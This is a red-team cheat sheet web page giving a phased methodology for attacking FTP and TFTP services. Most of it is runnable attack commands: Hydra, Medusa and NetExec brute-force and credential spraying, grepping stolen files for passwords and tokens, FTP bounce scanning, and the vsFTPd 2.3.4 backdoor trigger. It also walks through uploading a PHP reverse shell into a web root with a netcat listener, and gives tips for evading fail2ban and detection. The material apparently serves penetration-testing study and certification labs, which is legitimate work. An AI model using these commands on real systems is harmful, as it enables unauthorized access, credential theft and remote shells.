Skip to Content
Red Teaming01-ReconService enumerationFTP/TFTP - 21,20,69(UDP)

FTP - Port 21

Cheatsheet

# Banner grab nc -nv <IP> 21 nmap -sV -sC -p21 <IP> # Nmap all FTP scripts sudo nmap --script-updatedb # update scripts database nmap --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor,ftp-proftpd-backdoor,ftp-features,ftp-brute -p21 <IP> # Enumerate FTP server features (FEAT command) nmap -p21 --script ftp-features <IP> ftp <IP> nxc ftp <IP> -u 'anonymous' -p 'anonymous' # anonymous login # Cspray nxc ftp <IP> -u <userlist/username> -p <passwordlist/password> # Hydra brute force hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 ftp://<IP> # Recursive download wget -m --no-passive ftp://<USER>:<PASS>@<IP> lftp -u <USER>,<PASS> -e "mirror -c / /local/path; quit" ftp://<IP> # SSL/TLS FTP connection openssl s_client -connect <IP>:21 -starttls ftp # Upload a file ftp <IP> # ftp> binary # ftp> put <FILE> # FTP bounce port scan internal hosts through FTP nmap -Pn -b <FTP_USER>@<IP> <INTERNAL_TARGET> # TFTP no auth, UDP port 69 nmap -sU -p69 <IP> tftp <IP> # tftp> get <FILE> # tftp> put <FILE> # Connect with lftp (enhanced FTP client) lftp <IP> # lftp ftp://ourusername:ourpassword@<IP> lftp :~> login <USER> <PASS> # bookmark a ftp client in lftp prompt lftp :~> bookmark remotehost ftp://ouruser:ourpassword@ftp.remotehost.com # if already connected lftp :~> bookmark remotehost $ lftp remotehost

Methodology

Phase 1: Fingerprint

?

Ask youself

  • What exact FTP implementation and version is responding?
  • Does the banner agree with Nmap and protocol behavior, or could it be customized?
  • Which advertised features (AUTH TLS, SITE EXEC, mod_copy) change the available enumeration paths?
  • Are there known CVEs for this exact version, and do the prerequisites match the target?
  • What OS hints does the banner or service response reveal?
# Grab the banner note exact server name + version nc -nv <IP> 21 # Service/version detection + default NSE scripts (includes ftp-anon) nmap -sV -sC -p21 <IP> # Enumerate advertised features via FEAT (AUTH TLS, SITE, MLST, UTF8) nmap -p21 --script ftp-features <IP> # Match the exact version against known exploits searchsploit <server> <version>
  • nc -nv <IP> 21 : grab banner, note exact server name and version. The banner often reveals the software and version in plaintext before authentication.
  • nmap -sV -sC -p21 <IP> : run default NSE scripts. The -sC flag includes ftp-anon which automatically checks if anonymous login is permitted. Look for “Anonymous FTP login allowed” in the output.
  • nmap -p21 --script ftp-features <IP> : sends the FEAT command to enumerate server capabilities (AUTH TLS, UTF8, MLST, SITE commands). AUTH TLS means encrypted connections are possible, SITE EXEC could mean command execution, and SITE CPFR/CPTO indicates mod_copy.
  • Google the exact version string : search <server> <version> exploit on Google, Exploit-DB, searchsploit.
  • searchsploit <server> <version> : check local Exploit-DB for known CVEs.

Phase 2: Anonymous / Null Access

?

Ask youself

  • Can I authenticate anonymously, as ftp, or with a blank password?
  • Which directories and hidden files are readable?
  • Can I write, rename, overwrite, or delete files?
  • Does the FTP root overlap with a web root or another exposed service?
  • Are there config files, backups, SSH keys, or credentials accessible?
  • What does the directory structure reveal about the server’s role?
# anonymous login ftp <IP> nxc ftp <IP> -u 'anonymous' -p '' # Inside the session: list everything incl. hidden files, then pull it all # ftp> ls -la # ftp> prompt off # ftp> mget * # Test write access with a harmless file # ftp> put test.txt
  • ftp <IP> : try anonymous / (empty password), anonymous / anonymous, ftp / ftp. simple misconfig leads to big hit.
  • If anonymous works: ls -la list everything including hidden files. Hidden files (dotfiles like .htpasswd, .bash_history, .ssh/) are where the gold is.
  • cd into every directory : enumerate the full directory tree. Sensitive files are often nested several levels deep in backup, config, or user directories.
  • get <FILE> or mget * : download everything. Prioritize: config files (database creds, API keys), backups (.tar.gz, .zip, .bak), scripts (may contain hardcoded passwords), .htpasswd files (crackable hashes), web roots (index.php, wp-config.php).
  • put test.txt: test write permissions. If the server accepts the upload, note the directory path.
  • Check if FTP root maps to a web server root (/var/www/html, C:\inetpub\wwwroot). Writable FTP + web root = RCE can upload a PHP/ASPX shell and trigger it via HTTP.

Phase 3: Default and Harvested Credentials

?

Ask youself

  • Which usernames and passwords have already been discovered from other services?
  • Does the service authenticate local system accounts, domain accounts, or application accounts?
  • Are there default credentials specific to the identified FTP server software?
  • Have credential reuse and targeted defaults been exhausted before brute force?
nxc ftp <IP> -u <USER> -p <PASS> # single pair nxc ftp <IP> -u admin -p admin # common defaults nxc ftp <IP> -u users.txt -p pass.txt # password list
  • Try common defaults: Many FTP servers ship with default credentials that are never changed especially in lab environments, internal networks, and IoT devices.
  • Check if FTP users are system users on Linux, FTP often authenticates against /etc/passwd. Usernames found via SMTP VRFY, /etc/passwd dumps, LDAP queries, or RID cycling may work here with common or reused passwords.
  • Spray credentials harvested from other services against FTP. Credential reuse is the single most common way into FTP a database password from a config file, an SNMP community string, or an LDAP bind credential may work as an FTP login.

Phase 4: Misconfiguration Checks

?

Ask youself

  • Is the server vulnerable to FTP bounce (PORT command accepting arbitrary addresses)?
  • Does the version match any known backdoor (vsFTPd 2.3.4) or unauthenticated module (ProFTPd mod_copy)?
  • Does the TLS certificate leak internal hostnames, email addresses, or domain info?
  • Are diagnostic commands (debug, status, trace) enabled and leaking info?
  • Is TFTP (UDP 69) also running with no authentication?
  • Are there hidden directories not shown in ls that are still accessible by name?
# FTP bounce: does the server proxy scans to arbitrary hosts? nmap --script ftp-bounce -p21 <IP> # Inspect the FTPS certificate for internal hostnames / emails openssl s_client -connect <IP>:21 -starttls ftp # TFTP no-auth UDP service that's easy to miss nmap -sU -p69 <IP>
  • nmap --script ftp-bounce -p21 <IP> test FTP bounce attack. If the server accepts arbitrary addresses in the PORT command, it can be used as a proxy to scan internal networks or bypass firewall rules.
  • nmap --script ftp-vsftpd-backdoor -p21 <IP> vsFTPd 2.3.4 backdoor check. Sending a username ending with :) opens a bind shell on port 6200.
  • Check for ProFTPd mod_copy SITE CPFR /etc/passwd then SITE CPTO /var/www/html/passwd. The mod_copy module allows any connected user to copy files anywhere the FTP process can reach.
  • openssl s_client -connect <IP>:21 -starttls ftp check for FTPS. Inspect the certificate for hostnames, email addresses, organization names, and internal domain info.
  • debug / status / trace commands inside FTP session diagnostic commands may leak internal configuration, installation paths, OS info, or module list.
  • Check for TFTP on UDP 69: nmap -sU -p69 <IP> TFTP requires no authentication. Common on network devices for firmware updates and config backups.

Phase 5: Brute Force

?

Ask youself

  • Have anonymous access, default credentials, and credential reuse been fully exhausted?
  • What lockout, rate-limit, and monitoring controls apply (fail2ban, PAM modules)?
  • Which usernames have the highest probability of success?
  • Is a small targeted wordlist sufficient, or is a large dictionary required?
  • What is the OPSEC cost ? will this trigger alerts or ban my IP?
# Targeted default list FIRST (fast, low-noise, often hits) hydra -L users.txt -P /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt -t 4 ftp://<IP> hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 -w 5 ftp://<IP> nmap -p21 --script ftp-brute <IP> # Multi-user credential stuffing with clean output nxc ftp <IP> -u users.txt -p passwords.txt
  • hydra -L users.txt -P .../ftp-betterdefaultpasslist.txt -t 4 ftp://<IP> start with a small targeted list, not rockyou. A 100-entry list that hits in seconds beats a 14-million-entry list that takes hours and gets you banned.
  • hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -t 4 -w 5 ftp://<IP> keep threads low (-t 4) and add wait time (-w 5) to avoid triggering fail2ban or account lockout. FTP brute force is slow and noisy every failed login generates a log entry.
  • nmap -p21 --script ftp-brute <IP> nmap-based brute force with built-in credential lists. Useful as a quick check with common creds without Hydra setup.
  • nxc ftp <IP> -u users.txt -p passwords.txtmulti-user credential stuffing. Netexec handles the spray pattern automatically with clean output.
  • If locked out, wait or try from a different source IP. Some fail2ban configurations ban the offending IP for 10-30 minutes.

Phase 6: Post-Access Actions

?

Ask youself

  • What files are accessible now that were not visible anonymously?
  • Do any downloaded files contain credentials, keys, or config data?
  • Can newly found credentials be sprayed against SSH, SMB, WinRM, RDP, databases?
  • If writable access exists, does the directory overlap with a web root for RCE?
  • Do FTP credentials also work for SSH (system user authentication)?
# Mirror the entire tree (drop --no-passive if NAT breaks passive mode) wget -m --no-passive ftp://<USER>:<PASS>@<IP> # Hunt for secrets across everything you downloaded grep -ri 'password\|passwd\|secret\|key\|token\|credential' ./ # Reuse harvested creds against other services nxc ssh <IP> -u <USER> -p <PASS> nxc smb <IP> -u <USER> -p <PASS>
  • Download everything: wget -m --no-passive ftp://<USER>:<PASS>@<IP>. The -m flag mirrors the entire directory tree recursively. Use --no-passive if passive mode fails (common behind NAT).
  • Search for credentials in downloaded files: grep -ri 'password\|passwd\|secret\|key\|token\|credential' ./ cast a wide net across all downloaded content.
  • Spray any new credentials against all other services: SSH, SMB, WinRM, RDP, MySQL, MSSQL.
  • If writable FTP + web root confirmed: upload a web shell for RCE (see PHP Reverse Shell via FTP below).
  • If FTP creds work for SSH: connect directly for a proper interactive shell, proceed to file transfers and privesc.

Quiz

You found writable anonymous FTP access. What's your first move?

Overview

FTP (File Transfer Protocol) is a standard network protocol for transferring files between hosts over TCP. It operates on a client-server model where the client initiates a connection to upload, download, or manage files and directories on a remote server. Default port: 21.

How FTP Uses Two Channels

Unlike most protocols that use a single TCP connection, FTP separates control and data into two distinct channels. This dual-channel architecture is what makes FTP tricky with firewalls and NAT and is also what enables the bounce attack.

ChannelPortPurpose
ControlTCP 21Commands (USER, PASS, LIST, RETR, STOR) and server response codes
DataTCP 20 (active) or ephemeral (passive)Actual file content and directory listings

Active vs Passive mode: In active mode, the client tells the server its IP and port via the PORT command, and the server initiates a data connection back to the client on that address. This often fails when the client is behind a firewall or NAT because the inbound connection gets blocked. In passive mode, the server opens a random high port and tells the client to connect to it via the PASV response the client initiates both connections, which works better through firewalls. If downloads fail, toggle between modes (passive command in the FTP session, --no-passive flag with wget).

Connection Methods

FTP Client

ftp <IP> ftp <IP> <PORT>

The standard ftp client is available on virtually every Linux and Windows system. The port argument is optional and defaults to 21. The built-in client is fine for manual enumeration but lacks scripted mirroring and robust error handling use lftp or wget for bulk operations.

lftp (Enhanced Client)

lftp <IP> lftp -u <USER>,<PASS> ftp://<IP> lftp -u <USER>,<PASS> -e "mirror -c / /local/path; quit" ftp://<IP>

lftp supports bookmarks, automatic mirroring, job control, and scripting. It handles special characters in passwords (e.g., !, @, #) far better than the standard ftp client, which often chokes on them. The mirror -c flag enables resumable downloads useful for large files over unstable connections.

FTP Session Commands

Once connected, these are the commands used most during enumeration and data exfiltration:

CommandDescription
ls -laList all files including hidden (dotfiles). Some servers don’t support -la try dir instead.
dirList directory with verbose details (permissions, size, date). Server-dependent formatting.
cd <DIR>Change directory on the remote server.
lcd <DIR>Change directory on your local machine (controls where get saves files).
pwdPrint current working directory on the server.
get <FILE>Download a single file.
mget *Download all files in the current directory. Run prompt off first to avoid per-file confirmation.
put <FILE>Upload a single file. Use to test write permissions or drop a web shell.
mput *Upload multiple files.
binarySwitch to binary transfer mode. Critical for non-text files ASCII mode corrupts executables, archives, and images.
asciiSwitch to ASCII transfer mode. Only use for plain text files.
passiveToggle passive mode on/off. Switch if transfers hang or fail (usually a NAT/firewall issue).
prompt offDisable per-file confirmation for mget/mput. Always run this before bulk downloads.
debugToggle debug output. May reveal internal server paths, module names, and OS info.
statusShow current session info transfer mode, connection type, server config details.
quitExit the FTP session.

Always run binary before transferring executables, archives, or images. ASCII mode translates line endings (LF to CRLF), which silently corrupts binary files. A corrupted reverse shell binary will fail to execute on the target with no helpful error message.

NetExec (nxc)

NetExec is the fastest way to check FTP credentials across multiple hosts.

# Anonymous login check nxc ftp <IP> -u 'anonymous' -p '' # Check single credentials nxc ftp <IP> -u <USER> -p <PASS> # Credential file spray tries every user/pass combination nxc ftp <IP> -u users.txt -p passwords.txt # Password spray one password against many users (avoids lockout) nxc ftp <IP> -u users.txt -p '<PASS>' # Subnet sweep find all FTP servers with anonymous access nxc ftp <SUBNET>/24 -u 'anonymous' -p ''

The subnet sweep is particularly valuable during internal assessments it identifies every FTP server on the network and immediately flags which ones allow anonymous access. Run this early in the engagement to build a target list.

Brute Force

Brute forcing FTP involves systematically trying username/password combinations from wordlists. FTP has no built-in rate limiting protection depends entirely on external tools like fail2ban or PAM modules, which many servers do not configure.

# Hydra single user, large password list hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<IP> # Hydra multiple users and passwords hydra -L users.txt -P passwords.txt ftp://<IP> # Hydra low threads + wait time to avoid fail2ban hydra -L users.txt -P passwords.txt -t 4 -w 5 ftp://<IP> # Nmap ftp-brute script (quick check with default credential lists) nmap -p21 --script ftp-brute <IP> # Medusa alternative brute forcer medusa -h <IP> -U users.txt -P passwords.txt -M ftp

OPSEC: FTP brute force is extremely noisy. Every failed login attempt generates a log entry. Most production servers run fail2ban, which bans your IP after 3-5 failed attempts. Keep threads low (-t 4), add wait time between attempts (-w 5), and always exhaust anonymous access, default creds, and credential reuse before resorting to brute force. If banned, wait for the ban to expire (typically 10-30 minutes) or pivot through a different IP.

Before brute forcing with rockyou.txt (14 million entries), try smaller targeted lists first: /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt, /usr/share/seclists/Passwords/Common-Credentials/top-100.txt. A 100-entry list that hits in 2 seconds is better than a 14-million-entry list that takes 6 hours and gets you banned.

FTP Bounce Attack

The FTP bounce attack exploits the PORT command, which tells the server where to send data. If the server does not validate the target address, an attacker can instruct it to send data to any host and port effectively turning the FTP server into a proxy for port scanning internal networks, bypassing firewall rules, and masking the true source of an attack.

nmap --script ftp-bounce -p21 <IP> # Nmap use FTP server as proxy to port scan an internal target nmap -Pn -b <FTP_USER>@<IP> <INTERNAL_TARGET>

Manual bounce execution:

# Connect to the FTP server ftp <IP> # The PORT command format: IP as 4 comma-separated octets, then port as two bytes # To scan 192.168.1.100 port 80: PORT 192,168,1,100,0,80 # Port calculation: port_hi * 256 + port_lo = target_port # Example: port 8080 = 31 * 256 + 144 → PORT 192,168,1,100,31,144 quote PORT <TARGET_IP_COMMA_SEP>,<PORT_HI>,<PORT_LO> get <FILE> # If the transfer succeeds, the target port is open # If it fails with "425 Can't build data connection", the port is closed

PHP Reverse Shell via FTP + Web Server

# 1. Download the PHP reverse shell payload wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php

Edit shell.php and set your listener IP and port:

$ip = '<LHOST>'; // Your attack machine IP $port = <LPORT>; // Port your listener will be on
# 2. Upload the shell via FTP ftp <IP> ftp> binary ftp> put shell.php ftp> quit # 3. Start a listener on your attack machine nc -lvnp <LPORT> # 4. Trigger the shell browse to the uploaded file # http://<IP>/shell.php # Or: curl http://<IP>/shell.php

The PHP shell file persists on disk after execution. Clean up immediately: ftp> delete shell.php. Web shells are detected by file integrity monitoring (AIDE, OSSEC), antivirus signatures, and web application firewalls. For stealth, consider a one-liner shell in a .htaccess override or a shell with a randomized filename and authentication gate.

If you do not know whether the FTP directory maps to a web root, check FTP server config files for path directives: vsFTPd uses anon_root or local_root in /etc/vsftpd.conf, ProFTPd uses DefaultRoot in /etc/proftpd/proftpd.conf, IIS FTP uses site bindings in C:\Windows\System32\inetsrv\config\applicationHost.config. Common web roots: /var/www/html, /var/www, /srv/http, C:\inetpub\wwwroot, C:\xampp\htdocs.

Quiz

The web server runs ASP.NET instead of PHP. Can you still get RCE through FTP?

TFTP : UDP Port 69

TFTP (Trivial File Transfer Protocol) is a stripped-down file transfer protocol that sacrifices every security feature for simplicity. It has no authentication, no encryption, no directory listing, and runs over UDP instead of TCP. TFTP was designed for bootstrapping diskless workstations (PXE boot) and firmware updates on embedded devices scenarios where simplicity matters more than security.

# Scan for TFTP nmap -sU -p69 <IP> # Connect and transfer files tftp <IP> tftp> get <FILE> tftp> put <FILE> tftp> quit
LimitationDetail
No authenticationAnyone can read/write if the service is running
No directory listingYou must know or guess the filename
UDP onlyNo connection state unreliable over lossy networks
No encryptionAll data in cleartext, easily sniffed

TFTP is commonly used for PXE boot, firmware updates, and VoIP phone configs. If TFTP is open, try common filenames that often contain credentials in cleartext: network devices (running-config, startup-config, backup-config), VoIP (phone.cfg, SIPDefault.cnf, SEP<MAC>.cnf.xml), boot (pxelinux.0, boot.ini, grub.cfg). Network device configs pulled via TFTP frequently contain SNMP community strings, VPN pre-shared keys, VLAN configurations, and admin passwords in reversible encryption.

vsFTPd Configuration Reference

vsFTPd (Very Secure FTP Daemon) is the most common FTP server on Linux. Despite the name, its security depends entirely on configuration. The config file is highly readable and contains directives that directly map to attack vectors.

Config file: /etc/vsftpd.conf Blocked users: /etc/ftpusers users listed here are denied FTP access (typically root, daemon, bin)

Dangerous Settings (Misconfigurations to Look For)

SettingRisk
anonymous_enable=YESAnonymous login permitted, immediate file access without credentials
anon_upload_enable=YESAnonymous users can upload files, potential web shell drop
anon_mkdir_write_enable=YESAnonymous users can create directories ,aids in staging payloads
no_anon_password=YESNo password prompt for anonymous,lowers the bar further
write_enable=YESWrite commands enabled globally (STOR, DELE, RNFR, MKD, RMD)
anon_root=/var/www/htmlAnonymous root maps to web server root, writable anonymous + this = instant RCE
local_enable=YESSystem users can log in via FTP, FTP creds = SSH creds in most cases
chroot_local_user=NOUsers NOT jailed to home, can traverse the entire filesystem
ls_recurse_enable=YESRecursive ls allowed, full directory tree enumeration in one command
hide_ids=NOFile listings show real UID/GID, reveals system usernames
pasv_min_port / pasv_max_portDefines passive mode port range, reveals firewall rules and port allocation

The most dangerous combination is anonymous_enable=YES + anon_upload_enable=YES + anon_root=<web_root>. This gives any unauthenticated user the ability to upload executable files directly into the web server’s document root, a trivial path to RCE.

Quiz

You see anonymous_enable=YES and anon_upload_enable=YES in a vsftpd config. What's the attack path?

Common Mistakes

  • Forgetting binary mode: uploading executables or archives in ASCII mode silently corrupts them. The reverse shell binary fails on the target with no helpful error.
  • Jumping to brute force too early always exhaust anonymous access, default creds, and credential reuse first. Brute force is slow, noisy, and often gets you banned.
  • Not spraying FTP credentials elsewhere FTP credentials found in config files or through login must be tried against SSH, SMB, WinRM, RDP, and databases immediately.
  • Not checking write access always put test.txt to verify write permissions. Missing writable anonymous access on a web root is the difference between an informational finding and RCE.
  • Ignoring TFTP on UDP 69 it requires no authentication and is easily missed if you only scan TCP.
  • Using --passive when --no-passive is needed if wget -m hangs, the server is likely behind NAT and passive mode data connections are failing. Toggle the mode.

#Penetration Testing #Red Team #Certification #Linux #Windows #FTP #ServiceEnum #Anonymous #Hydra #TFTP #NXC #Brute-Force #FileTransfer

Last updated on